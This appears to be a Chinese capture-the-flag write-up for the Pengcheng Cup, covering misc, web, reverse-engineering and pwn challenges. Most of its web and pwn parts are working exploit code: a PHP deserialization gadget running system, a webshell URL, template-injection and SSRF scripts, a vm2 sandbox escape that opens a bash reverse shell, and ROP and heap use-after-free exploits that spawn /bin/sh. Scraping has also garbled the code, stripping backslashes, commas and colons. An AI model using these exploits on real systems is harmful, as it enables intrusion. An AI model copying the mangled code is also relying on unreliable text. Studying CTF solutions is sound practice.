鹏城杯CTF部分WP

admin 2024年2月15日17:37:40评论11 views字数 16441阅读54分48秒阅读模式

misc

我的壁纸

foremost分离

鹏城杯CTF部分WP

鹏城杯CTF部分WP

flag.wav是sstv

鹏城杯CTF部分WP

然后是个二维码扫码

鹏城杯CTF部分WP

 eaa2-4d62-ace6-

我们看到youshouldknowme.jpeg的信息里面有密码

鹏城杯CTF部分WP

猜测是steghide,解密

鹏城杯CTF部分WP

得到第二段flag

flag{b921323f-

第三段在图片结尾,snow的密码,解密

鹏城杯CTF部分WP

最后的flag:flag{b921323f-eaa2-4d62-ace6-f86361842eb8}

web

web1

<?php
class H
{
    public $username;
    public function __destruct()
    {
        $this->welcome();
    }
    public  function welcome()
    {
        echo "welcome~ ".$this->username;
    }
}
class Hacker{
    public  function __toString()
    {
        call_user_func('system'"cat /flag");
        return"";
    }
}
$a = new H();
$a->username = new Hacker();
$b = serialize($a);
echo $b;

web2

和贵阳大数据网安精英赛很像,爆破文件名,格式都差不多

import requests

list = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f']
url = "http://172.10.0.5/"
filename = ""
task = ""
for j in range(40):
    for i in list:
        tmp = filename
        tmp += i
        print(filename)
        payload = "glob://backdoor_" + task + "*.php"
        data = {
        "filename": payload
        }
        resp = requests.post(url, data=data)
        if "yesyesyes" in resp.text:
            filename = task
            break
        else:
            task = ""
数组绕过
http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=123&title[]=.php&data[]=%3C?php%20system(%22cat%20/f*%22);

flag:flag{aa03a3c1-da05-4637-8b42-a8686aaf15bc}

Escape

ImaginaryCTF官方WriteUp,Payload直接打

鹏城杯CTF部分WP

Tera

Tera模板注入

import requests
import socket
import socks
url = "http://172.10.0.3:8081/"

string = "0123456789abcdefghijklmnopqrstuvwxyz-{"

proxy={"http":"127.0.0.1:8081"}



flag = ['}'] * 42

for i in string:
    data = """
    {% set arr = [__tera_context] %}
    {% set f = get_env(name="fl"~"ag") %}
    {%- for char in f -%}
    {%- if char == '""" + i + """' -%}""" + i + """
    {%- else -%}
    <
    {%- endif -%}
    {% endfor %}"""

    resp = requests.post(url=url, data=data).text

    arr1 = [char for char in resp][4:]

    for j in range(len(arr1)):
        if(arr1[j]!='<'):
            flag[j] = arr1[j]
    # flag[resp.index(i)] = i
print(''.join(flag))

HTTP

用dirsearch扫描出了swagger

鹏城杯CTF部分WP

我们可以看到他有api接口,里面有proxy/url路由,参数是url

鹏城杯CTF部分WP

猜测是ssrf,fuzz了很多协议file://,http://,dict://,都是被ban掉了的,想起这是java,java里如果对url前缀有检查,可以用url:来绕过检测

我们访问,还是资源不存在,因为限制了只能访问html

鹏城杯CTF部分WP

file协议和netdoc都可以去读了

鹏城杯CTF部分WP

鹏城杯CTF部分WP

simple_rpc

用less读取到文件rpc.js,grpc把代码传入vm2执行,参考 https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244 写vm2 escape

const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');

const packageDefinition = protoLoader.loadSync(
    __dirname + '/eval.proto',
    {
        keepCasetrue,
        longsString,
        enumsString,
        defaultstrue,
        oneofstrue
    }
);
const hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
const c = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure());

const template = `err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >&/dev/tcp/x/7575 0>&1"');
}`
;

// call
c.evalTemplate({ template: template }, function(error, response) {
        console.log('Operation Result:', response.message);
});

eval.proto

syntax = "proto3";
package helloworld;
service Demo {
  rpc evalTemplate (TemplateRequest) returns (Reply) {}

}
message TemplateRequest {
  string template = 1;
}
message Reply {
  string message = 1;
}

Re

安全编程

在关键比对打断点:0x00007FFFF7F97E9B

然后gdb设置断点脚本:

b *0x00007FFFF7F97E9B
commands 1
set $eax=*(int*)($rsp+0x50)
continue
end

然后随便输入跑完:

鹏城杯CTF部分WP

然后目录下就得到了flag:

鹏城杯CTF部分WP

Re-bad_pe

通过pe查看,发现pe节区有问题

鹏城杯CTF部分WP

修复后,ida反编译,是一个pe_loader,然后dump出新的pe部分

丢到ida分析,很直观的看到是一个rc4的流程

鹏城杯CTF部分WP

接着,分析一下rc4_crypt函数

鹏城杯CTF部分WP

鹏城杯CTF部分WP

这里是a1是加密数据,a2是加密的长度,a3作key,a4为密钥长度,回到主函数看变量,对应v14

鹏城杯CTF部分WP

key=v14='!y3k3ht' 逆转key= th3k3y!,再找密文转小端 BDF04CD9D029F24608CCC89FBE4BEF674604E632F3F6AAF0D1D8EC75492FCC26

鹏城杯CTF部分WP

解rc4

鹏城杯CTF部分WP

得到flag:flag{th3_p3fi15_1s_v3ry_nicccccc!}

BabyRe

输入的48字节数据有如下加密流程:
分成12字节每组,共4组,使用下面方法加密:
将12个字符分别拿出来,4个字节作为一组,共三组,进行如下流程32次:
每个字符分开后+66,*23,再&0xff,然后拼回4字节的int
拿到6个固定的随机数,进行一些左移右移和加法的操作,可逆
累加后进行下一轮
加密后的结果组合成3个int,作为最终结果
最终加密后的48个字符进行比对
那么逆向主要问题就是在于每个字符*23后&0xff会损失一些信息,方法就是判断结果+66之后,和23取余是否为0,为0则能被整除,大概率是原始字符,由于23X0xff=0x16e9,所以直接爆破0x00-0x16,然后拼接上+66的结果,然后就是把每轮操作中的6个随机数保存下来,返回去计算一轮就可以了,基本上就是模拟一下原来的代码
from ctypes import *
dll = cdll.LoadLibrary("ucrtbased.dll")
dll.srand(0xDEADC0DE)
def enc(input_string):
    input = []
    for i in range(0, len(input_string), 4):
        sub_string = input_string[i:i+4]
        hex_values = [ord(char) for char in sub_string]
        input.append(hex_values)
    print(input)
    rand_list = []
    for i in range(32):
        for j in range(4):
            input[0][j] = (23 * input[0][j] + 66) & 0xff
            input[1][j] = (23 * input[1][j] + 66) & 0xff
            input[2][j] = (23 * input[2][j] + 66) & 0xff
        
        v7 = input[0][0] | input[0][1] << 8 | input[0][2] << 16 | input[0][3] << 24
        v8 = input[1][0] | input[1][1] << 8 | input[1][2] << 16 | input[1][3] << 24
        v9 = input[2][0] | input[2][1] << 8 | input[2][2] << 16 | input[2][3] << 24
        rand0 = dll.rand()
        rand1 = dll.rand()
        rand2 = dll.rand()
        rand3 = dll.rand()
        rand4 = dll.rand()
        rand5 = dll.rand()
        rand_list.append([rand0, rand1, rand2, rand3, rand4, rand5])
        v7 = ((v7 & 0xffffffff) + (((rand0 + (v8 >> 7)) & 0xffffffff) + (rand1 ^ (((v8 >> 15) ^ (v8 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
        v8 = ((v8 & 0xffffffff) + (((rand2 + (v9 >> 7)) & 0xffffffff) + (rand3 ^ (((v9 >> 15) ^ (v9 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
        v9 = ((v9 & 0xffffffff) + (((rand4 + (v7 >> 7)) & 0xffffffff) + (rand5 ^ (((v7 >> 15) ^ (v7 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff

        input[0][0] = v7 & 0xff
        input[0][1] = (v7 & 0xff00) >> 8
        input[0][2] = (v7 & 0xff0000) >> 16
        input[0][3] = (v7 & 0xff000000) >> 24

        input[1][0] = v8 & 0xff
        input[1][1] = (v8 & 0xff00) >> 8
        input[1][2] = (v8 & 0xff0000) >> 16
        input[1][3] = (v8 & 0xff000000) >> 24

        input[2][0] = v9 & 0xff
        input[2][1] = (v9 & 0xff00) >> 8
        input[2][2] = (v9 & 0xff0000) >> 16
        input[2][3] = (v9 & 0xff000000) >> 24
        print("-------------")
        print(hex(v7))
        print(hex(v8))
        print(hex(v9))

def dec(input_string):

    print("decode:")
    # 32 * 6 random num
    rand_list = [[19954, 28965, 14137, 3558, 10069, 31251], [32362, 11940, 3430, 27969, 14847, 11465], [12175, 9021, 27614, 8175, 12050, 16408], [20581, 6478, 17749, 4203, 22364, 2272], [9340, 14232, 10535, 32196, 17981, 4946], [3136, 17889, 7408, 30816, 16101, 12491], [23270, 11421, 6414, 31210, 17404, 16964], [2722, 7641, 15728, 14442, 18922, 7948], [4083, 1228, 17990, 32182, 4095, 27339], [13087, 26345, 8298, 17333, 16156, 24319], [17212, 7238, 19353, 27450, 11454, 19311], [14421, 32423, 3283, 26197, 5994, 11848], [651, 13725, 23939, 28785, 28150, 4071], [25161, 27507, 5174, 15768, 17694, 6008], [18904, 18909, 2574, 14254, 5989, 25837], [770, 28328, 3123, 15246, 22839, 29185], [13185, 26586, 19183, 8514, 24515, 24387], [29031, 1029, 16443, 469, 8968, 29531], [29897, 11963, 17889, 29292, 5124, 517], [9813, 31325, 22409, 8104, 9745, 15735], [25236, 12230, 22338, 9605, 22221, 28720], [22532, 4477, 11108, 32554, 541, 5731], [31327, 17262, 17131, 18283, 14387, 5491], [12187, 18782, 2450, 3566, 10652, 13630], [11141, 7578, 10067, 3629, 8634, 21044], [29969, 20107, 7967, 27850, 578, 20575], [23728, 11574, 3815, 5368, 21132, 30438], [19782, 12244, 1871, 13022, 19423, 22720], [27036, 4863, 15267, 26945, 26617, 6793], [26209, 18739, 15072, 4063, 27009, 3760], [5394, 15242, 2292, 21811, 11823, 6273], [11883, 4093, 23428, 22951, 26823, 23480]]
    input = []
    for i in range(0, len(input_string), 4):
        sub_string = input_string[i:i+4]
        hex_values = [char for char in sub_string]
        input.append(hex_values)
    
    for i in range(32):
        v7 = input[0][0] | input[0][1] << 8 | input[0][2] << 16 | input[0][3] << 24
        v8 = input[1][0] | input[1][1] << 8 | input[1][2] << 16 | input[1][3] << 24
        v9 = input[2][0] | input[2][1] << 8 | input[2][2] << 16 | input[2][3] << 24

        rand = rand_list[32 - i - 1]
        rand0 = rand[0]
        rand1 = rand[1]
        rand2 = rand[2]
        rand3 = rand[3]
        rand4 = rand[4]
        rand5 = rand[5]
        v9 = (v9 - (((rand4 + (v7 >> 7)) & 0xffffffff) + (rand5 ^ (((v7 >> 15) ^ (v7 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
        v8 = (v8 - (((rand2 + (v9 >> 7)) & 0xffffffff) + (rand3 ^ (((v9 >> 15) ^ (v9 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
        v7 = (v7 - (((rand0 + (v8 >> 7)) & 0xffffffff) + (rand1 ^ (((v8 >> 15) ^ (v8 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff


        input[0][0] = v7 & 0xff
        input[0][1] = (v7 & 0xff00) >> 8
        input[0][2] = (v7 & 0xff0000) >> 16
        input[0][3] = (v7 & 0xff000000) >> 24

        input[1][0] = v8 & 0xff
        input[1][1] = (v8 & 0xff00) >> 8
        input[1][2] = (v8 & 0xff0000) >> 16
        input[1][3] = (v8 & 0xff000000) >> 24

        input[2][0] = v9 & 0xff
        input[2][1] = (v9 & 0xff00) >> 8
        input[2][2] = (v9 & 0xff0000) >> 16
        input[2][3] = (v9 & 0xff000000) >> 24

        # print("--------")
        # print(hex(v7))
        # print(hex(v8))
        # print(hex(v9))
        
        for j in range(4):
            for k in range(0x17):
                num = ((input[0][j] - 66) & 0xff) | (k << 8)
                if num % 23 == 0:
                    input[0][j] = num // 23
                    break
            for k in range(0x17):
                num = ((input[1][j] - 66) & 0xff) | (k << 8)
                if num % 23 == 0:
                    input[1][j] = num // 23
                    break
            for k in range(0x17):
                num = ((input[2][j] - 66) & 0xff) | (k << 8)
                if num % 23 == 0:
                    input[2][j] = num // 23
                    break

        # input[0][j] = ((input[0][j] - 66) // 23) & 0xff
        # input[1][j] = ((input[1][j] - 66) // 23) & 0xff
        # input[2][j] = ((input[2][j] - 66) // 23) & 0xff
        # print(input)
    print(input)
    return input

# dec("xfax1axf9xafx35xfex39xd3x21xfcx4fxa5")
# 0123456789ab0123456789ab0123456789ab0123456789ab
# enc("0123456789ab")
# dec("xc5xfdxdax01x9exe4x71x2dx83x08xb1xed")
# dec("x01xdaxfdxc5x2dx71xe4x9exedxb1x08x83")
# dec("xc5xfdxdax01x9exe4x71x2dx83x08xb1xed")
cipher = [0x48, 0x4D, 0x3B, 0xA0, 0x27, 0x31, 0x28, 0x54, 0x6D, 0xF1, 
  0x21, 0x35, 0x18, 0x73, 0x6A, 0x4C, 0x71, 0x3B, 0xBD, 0x98, 
  0xB6, 0x5A, 0x77, 0x2D, 0x0B, 0x2B, 0xCB, 0x9B, 0xE4, 0x8A, 
  0x4C, 0xA9, 0x5C, 0x4F, 0x1B, 0xF1, 0x98, 0x3D, 0x30, 0x59, 
  0x3F, 0x14, 0xFC, 0x7A, 0xF4, 0x64, 0x02, 0x2B]
cipher_bytes = bytes(cipher)
nested_lists = dec(cipher_bytes[0:12])
flag = ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
nested_lists = dec(cipher_bytes[12:24])
flag += ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
nested_lists = dec(cipher_bytes[24:36])
flag += ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
nested_lists = dec(cipher_bytes[36:48])
flag += ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
print(flag)
# -------------
# 0x483edead
# 0x18c333fe
# 0xd0464c8

# flag{1CpOVOIeB1d2FcYUvnN1k5PbfMzMNzUzUgV6mB7hXF}

pwn

silent

利用栈溢出ROP,先做栈迁移到bss上,然后ROP read修改bss上的stdin的后3个字节,爆破1.5字节为puts,打出来alarm的地址,得到libc的地址,然后做orw的rop,为了提高效率要准确控制输入数量,这样就不用sleep等下一次输入了,然后1/4096的概率跑一会儿就出来了:

from pwn import *
binary = ELF("./silent")
def exploit():
    p = process("./silent")
    # p = remote("172.10.0.8", 9999)
    # context.log_level = 'debug'
    context.log_level = 'error'
    # pause()
    pop_rdi = 0x0000000000400963
    pop_rsi_r15 = 0x0000000000400961
    mov_rax_got = 0x0000000000400869
    leave_ret = 0x0000000000400876  # : leave; ret; 

    payload  = b'a' * 0x48
    context.arch = 'amd64'
    r = ROP(binary)
    r.ret2csu(edi=0, rsi=0x601038, rdx=0x110, rbp=0x601038, call=binary.got['read'])
    payload += r.chain()
    payload += p64(leave_ret)
    payload = payload.ljust(0x100, b'a')
    p.send(payload)

    jmp_rbp = 0x0000000000400a93    # : jmp qword ptr [rbp]; 
    payload = b'a' * 8
    r = ROP(binary)
    r.ret2csu(edi=0, rsi=0x601030, rdx=3, rbp=0x601030, call=binary.got['read'])
    payload += r.chain()
    payload += p64(pop_rdi)
    payload += p64(0x600fd8)
    payload += p64(jmp_rbp)
    r = ROP(binary)
    r.ret2csu(edi=0, rsi=0x601148, rdx=0x100, rbp=0x601030, call=binary.got['read'])
    payload += r.chain()
    p.send(payload)
    # pause()
    # sleep(0.5)
    p.send(b'x70x29x84')
    try:
        libc = u64(p.recvline(timeout=1)[:-1].ljust(8, b'x00')) - 0xe44f0
    except:
        p.close()
    else:
        if libc < 0:
            return
        success(f"libc: {hex(libc)}")
        pop_rsi = libc + 0x0000000000023a6a
        pop_rdx = libc + 0x0000000000001b96
        ret = 0x0000000000400696
        flag_str = 0x6011e0
        # payload = p64(one_gadget)
        payload = p64(pop_rdi)
        payload += p64(flag_str)
        payload += p64(pop_rsi)
        payload += p64(0)
        payload += p64(libc + 0x10fbf0) # open

        payload += p64(pop_rdi)
        payload += p64(3)
        payload += p64(pop_rsi)
        payload += p64(flag_str)
        payload += p64(pop_rdx)
        payload += p64(0x100)
        payload += p64(libc + 0x110020) # read

        payload += p64(pop_rdi)
        payload += p64(1)
        payload += p64(pop_rsi)
        payload += p64(flag_str)
        payload += p64(pop_rdx)
        payload += p64(0x100)
        payload += p64(libc + 0x1100f0) # write

        payload += b'./flag'
        # pause()
        sleep(1)
        p.send(payload)
        p.interactive()
        p.close()
        exit(0)

count = 0
while True:
    print(f"try: {count}")
    count += 1
    exploit()
# p.interactive()

# 0x7fecd4 731970
# 0x7f6d46 c42970

# 0x000000000040086a: mov eax, dword ptr [rbp - 8]; mov rdi, rax; call 0x6e0; nop; leave; ret; 
# 0x0000000000400869: mov rax, qword ptr [rbp - 8]; mov rdi, rax; call 0x6e0; nop; leave; ret; 

Auto_Coffee_machine

功能:

初始化分配了21个0x90堆块,作为剩余咖啡,每个类别7个堆块,共3个类别

sell可以选择一个类别购买,会返回这个类别中的一个chunk,写入数据,然后释放并清空

admin里用补充功能,先复制剩余堆块列表,然后找到一个空的位置,malloc到复制列表,再复制回去

change default功能是修改复制列表里的堆块的数据,然后复制回列表,漏洞出现在这里,开始没有从列表复制到复制列表,操作完则直接从复制列表复制回去了,导致了一个uaf,利用这个uaf释放tcache到bss上,然后查看菜单,打印出来libc,再劫持free的got为system,利用释放前可以输入的特点输入binsh拿shell

from pwn import *

# p = process("./pwn")
p = remote("172.10.0.9", 8888)
context.log_level = 'debug'

def free(coffee_id, content):
    p.sendlineafter(b">>>", b"1")
    p.sendlineafter(b"input the id of what coffee you want to buy", str(coffee_id).encode('utf-8'))
    p.sendlineafter(b"Do you want to add something?Y/N", b"Y")
    p.sendlineafter(b"Ok,please input what you need in coffee", content)

def copy_list():
    p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
    p.sendlineafter(b"please input the admin password", b"just pwn it")
    p.sendlineafter(b">>>", b"1")
    p.sendlineafter(b">>>", b"2")
    p.sendlineafter(b">>>", b"3")

def uaf_edit(coffee_id, id, content):
    p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
    p.sendlineafter(b"please input the admin password", b"just pwn it")
    p.sendlineafter(b">>>", b"2")
    p.sendlineafter(b">>>", str(coffee_id).encode('utf-8'))
    p.sendlineafter(b">>>", str(id).encode('utf-8'))
    p.sendlineafter(b"content", content)
    p.sendlineafter(b'>>>', b"3")

def add():
    p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
    p.sendlineafter(b"please input the admin password", b"just pwn it")
    p.sendlineafter(b">>>", b"1")
    p.sendlineafter(b'>>>', b"1")
    p.sendlineafter(b'>>>', b"3")

def show():
    p.sendlineafter(b">>>", str(2).encode('utf-8'))

coffee_list = 0x00000000004062F0
free_got = 0x406018

for i in range(6):
    free(1, b'a')

copy_list()
free(1, b'a')
uaf_edit(1, 7, p64(coffee_list))
add()
add()
uaf_edit(1, 2, p64(free_got))
show()
p.recvuntil("1.")
libc = u64(p.recvuntil(":")[:-1].ljust(8, b'x00')) - 0x9a6d0
success(f"libc: {hex(libc)}")

free(1, b'a')
uaf_edit(1, 1, p64(0x406018-8))
add()
add()
system = libc + 0x52290
p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
p.sendlineafter(b"please input the admin password", b"just pwn it")
p.sendlineafter(b">>>", b"2")
p.sendlineafter(b">>>", b"1")
p.sendlineafter(b">>>", b"4")
p.sendafter(b"content", p64(system) * 2)
p.sendlineafter(b'>>>', b"3")

free(1, "/bin/sh")
p.interactive()

鹏城杯CTF部分WP

原文始发于微信公众号(BeFun安全实验室):鹏城杯CTF部分WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日17:37:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   鹏城杯CTF部分WPhttps://cn-sec.com/archives/2187451.html

发表评论

匿名网友 填写信息